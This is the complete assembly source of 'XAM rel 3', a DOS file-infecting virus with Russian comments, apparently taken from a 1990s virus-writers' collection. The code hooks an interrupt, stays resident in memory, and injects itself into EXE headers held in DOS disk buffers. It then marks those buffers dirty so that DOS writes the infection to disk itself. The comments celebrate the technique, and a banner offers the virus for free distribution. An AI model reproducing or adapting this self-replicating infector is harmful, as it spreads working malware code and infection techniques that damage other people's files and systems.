;▄▄                   ▄
;▀▀▀ STEALTH GROUP WW █ Mail:   BOX 15, 125080 MOSCOW   ████████ █████████ █▀▀█
;▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀   ┌─┐┬ ┬┌─┤┬ ┬ ╥ ┬┐┌ █▄▄█
; ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█   ▌ █ ▄▀█ █ ▄▀▀ █▄▄    ├┬┘│ │└─┐├─┤   │└┤ ▄  █
;  █ █ █ █▀  █▀  █    █  █▀  █ █   █ █ █ █ █ █   █      ┴└─└─┘└─┘┴ ┴   ┴ ┴ ▀▀▀▀
;  █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀    ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄   ████  WINTER ' 96  ████
;  ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ███████████████████████

;   █████████████ ИСХОДНИКИ ЗАМЕЧАТЕЛЬНЫХ ВИРУСОВ ! ██████████████ 
;   XAM-278


;		Мы хотим представить на суд уважаемой (...) публики
;	Новое творение: вирус, который ничего не пишет на диск.
;	Предвидим вопрос "А как же он без этого распространяется?",
;	и поэтому сразу же на него отвечаем:


;	Terrible virus XAM release/version 3 is freeware and can
;	be distributed free of charge while its code is unmodified.

;	(C) 1993 A.S. & B.S. Protvino, ШЮП.

	.8086
	.model	tiny
	.code

	org	100h

virmem	equ	-40h				;Размер памяти (в параграфах),
						;занимаемой вирусом.
numint	equ	16h				;Прерывание, перехватываемое вирусом.
virlen	equ	finish-begin			;Длина кода вируса.
nbuffs	equ	30				;Сколько буферов будем
						;просматривать.
gde	equ	200h-virlen			;Смещение кода вируса в файле

zerro	equ	0EAh				;То же самое, что и gde

start:	jmp	begin1				;Начало программы
	db	000h,002h,000h,000h,000h
	db	020h,000h,000h,000h,0ffh,0ffh,000h,000h
	db	000h,040h,000h,000h,010h,000h,000h,000h
	db	022h,000h,000h,000h,000h,000h
	db	zerro-30 dup(0h)		;Нули

begin	db	"XAM"				;Копирайт

begin1:	mov	ah,30h
	int	21h				;Опрос версии ДОСа
	mov	ah,0C5h				;LDS
	mov	cl,10h				;Размер заголовка системного
						;буфера в ДОС <5.0
	cmp	al,5
	jc	dos1_4
	mov	ah,8Bh				;MOV
	mov	cl,14h				;Размер заголовка системного 
						;буфера в ДОС 5.0+
				 
dos1_4:	mov	byte ptr ds:[offset rquit],ah	;Настоящий программист
	mov	ds:_10_14,cl			;обязательно воспользуется
						;самомодификацией кода,
						;если это ведвет к экономии
						;нескольких байтов
	mov	bp,ds:2h
	add	bp,virmem

	mov	es,bp				;Копируем себя в вершину
	mov	si,100h				;памяти, выделенной под
	mov	di,si				;исполняемый модуль.
	mov	cx,200h
	cld
	rep	movsb

	push	si
	
	push	es				;И передаем управление
	mov	ax,offset next			;новому себе.
	push	ax
	retf
	
next:	mov	dx,ds				;Точка входа в нового
	dec	dx				;себя.

	push	es
	mov	ah,52h				;"Эй, ДОС, где твои таблицы?"
	int	21h				;(ES:[BX] - Адрес системных
						; переменных ДОС)
	mov	cs:[di+4],bx			;Это надо запомнить!
	mov	cs:[di+6],es
	pop	es

	cli					;Перехватываем необходимый
	mov	ds,cx				;вектор прерывания,
	mov	ax,offset myint			;одновременно проверив,
	xchg	ds:[numint*4],ax		;есть ли уже хотя бы один
	cmp	ax,offset myint			;я в памяти.
	jz	noinst
	stosw					;Нас тут явно не хватает!
	mov	ax,es
	xchg	ds:[numint*4+2],ax
	stosw
	
	mov	ds,dx				;Резервируем память для себя.
	add	word ptr ds:03h,virmem
	mov	ds:12h,bp

noinst:	add	dx,11h				;DX <- Сегмент блока управления
						;памяти (MCB), характеризующий
						;память текущего процесса +11h
						;(Наш сегмент кода)
	push	ss				;DS <- @PSP
	pop	ds

	mov	di,100h				;Находим табличку перенастройки
	mov	si,ds:[di+18h]
	add	si,di
	mov	cx,ds:[di+6h]
	jcxz	norel				;(Будем еще перестраиваться?)
	
reloc:	lodsw					;ПЕРЕСТРОЙКА!
	mov	bx,ax				;(Настраиваем RELOCATIONS)
	lodsw
	add	ax,dx
	add	ax,20h
	mov	es,ax
	add	es:[bx],dx
	loop	reloc				;Доперестраивались...
	
norel:	push	ds
	pop	es

	pop	si

	mov	ax,ds:[di+0eh]			;Новый стек - это хорошо
	add	ax,dx				;забытый старый.
	mov	ss,ax
	mov	sp,ds:[di+10h]
	sti

	add	dx,ds:[di+16h]			;Толкнем в стек адрес
	push	dx				;хорошо забытый стартовый
	push	ds:[di+14h]			;адрес программы.

	mov	ax,ds:[di+4]			;Заставляем программу
	mov	cl,9				;втащиться в нужную память.
	inc	ax
	shl	ax,cl
	mov	cx,ax
	rep	movsb
	
	retf					;И запускаем программу.

myint:	push	bx				;Резидентная часть, или
	push	cx				;копание в мозгах.
	push	si
	push	di				;Толкнем в стек регистры.
	push	ds
	push	es

	lds	bx,dword ptr cs:bufaddr
	lds	bx,ds:[bx+12h]			;[BX+12] - Адрес начала
						;цепочки буферов.
	lds	bx,ds:[bx]			;DS:BX <- @на буфера.

	mov	cx,nbuffs			;Сколько буферов просмотрим.
	
bufnxt:	cmp	word ptr ds:[bx],0ffffh		;Буфера кончились ?
	jz	thisall
	
	db	0BEh	; mov	si,10h/14h	;SI <- Размер заголовка.
_10_14	db	00,00
	cmp	word ptr ds:[bx+si],"ZM"	;EXE - модуль ?
	jnz	rquit
	cmp	word ptr ds:[bx+si+8h],+20h	;Размер HEADERS==512 ?
	jnz	rquit
	cmp	word ptr ds:[bx+si+4],127	;А можно в COM преобразовать ?
	jnc	rquit

	mov	di,ds:[bx+si+6]
	add	di,di
	add	di,di
	add	di,ds:[bx+si+18h]
	cmp	di,200h-virlen			;А нам сюда можно ?
	
	jnc	rquit				;(Нет, нельзя)

	mov	byte ptr ds:[bx+si],0E9h	;Пихнем в начало джамп на...
						;(на нашу точку входа)
	mov	word ptr ds:[bx+si+1],gde-3+begin1-begin

	push	ds
	pop	es
	push	cs
	pop	ds
	lea	di,[bx+si+200h-virlen]
	lea	si,begin
	push	cx
	mov	cx,virlen
	cld
	rep	movsb				;Мы тут будем жить.
	pop	cx				;(Качаемся в буфер)

	push	es
	pop	ds

;		Это - главная команда в вирусе. Собственно, ради нее
;	и было написано все остальное. Дело в том, что в заголовке
;	буфера ДОСа по смещению +5 есть флаги буфера. Один из флагов
;	отвечает за то, потребуется ли в ближайшее время записать
;	этот буфер на диск. Мы говорим, что очень даже стоит, более
;	того, если этого не сделать, то наши шансы на репликацию
;	сведутся к нулю, а этого бы не хотелось. Другими словами,
;	сами мы НИЧЕГО НЕ ПИШЕМ НА ДИСК - это во всем ДОС виновата,
;	что мы оказываемся на диске... (Ох уж эта ДОС...)

	or	byte ptr ds:[bx+5],40h		;Взведем курок/
						;вправим мозги ДОСу.

rquit:	db	8Bh,1Fh				; mov/lds	bx,ds:[bx]
	loop	bufnxt				;Следующий буфер...

thisall:pop	es				;Втащим в регисты стек.
	pop	ds
	pop	di
	pop	si
	pop	cx
	pop	bx
	
	db	0EAh	; JMP	XXXX:XXXX	;Иди ты, CS:IP,
						;куда подальше....

finish:	dw	0,0
bufaddr	dw	gde,0
	dw	0,0,0,0

	cli					;А это код, который
	mov	ax,cs				;должен играть роль
	mov	ss,ax				;убитой программы.
	mov	sp,4000h
	sti
	mov	ds,ax
	mov	dx,(offset strx)-(offset finish)
	mov	ah,9
	int	21h
	mov	ax,4c00h
	int	21h
strx	db	"Вирус XAM rel 3 запущен$"

	end	start				;Finita la comedia.